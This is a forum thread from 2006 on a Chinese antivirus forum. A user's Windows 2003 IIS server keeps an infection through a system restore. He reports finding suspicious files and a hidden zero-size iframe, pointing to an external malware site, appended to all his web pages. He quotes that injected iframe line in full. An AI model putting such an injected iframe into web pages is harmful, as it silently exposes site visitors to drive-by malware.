瑞星卡卡安全论坛技术交流区反病毒/反流氓软件论坛 c盘下 有bootconf.exe,boot.hta两个文件

1   1  /  1  页   跳转

c盘下 有bootconf.exe,boot.hta两个文件

c盘下 有bootconf.exe,boot.hta两个文件

症状:用的win 2003 系统,装了IIS6.0做web程序;通过IIS浏览web页面弹出以下画面

上网查了一下,好象说是木马,瑞星管不了

最可恨的是,我重装了系统,重装IIS,这病毒还在,请教高手如何清除

附件附件:

下载次数:204
文件类型:image/pjpeg
文件大小:
上传时间:2006-7-23 17:30:05
描述:



最后编辑2006-07-23 18:38:26
分享到:
gototop
 

确切的说,不是重装,是用ghost还原原先的系统
gototop
 

以前中了毒,还原后就正常了

这次在前几天,d盘双击打 不开,查了以下也是中毒了,删除了d盘下的autorun.inf和pagefile文件,再用ghost 还原c盘。
d盘到是双击可以打开了

不知和这个有关系没有
gototop
 

我有发现了

我在IIS里查看我的web程序,所有的脚本文件和html文件末尾都被加上这样
<iframe src="http://www.ads183.com/123/" width="0" height="0" frameborder="0"></iframe>

就是这个网址带的病毒,TMD

他是怎么把我的web文件改的啊
gototop
 
1   1  /  1  页   跳转
页面顶部
Powered by Discuz!NT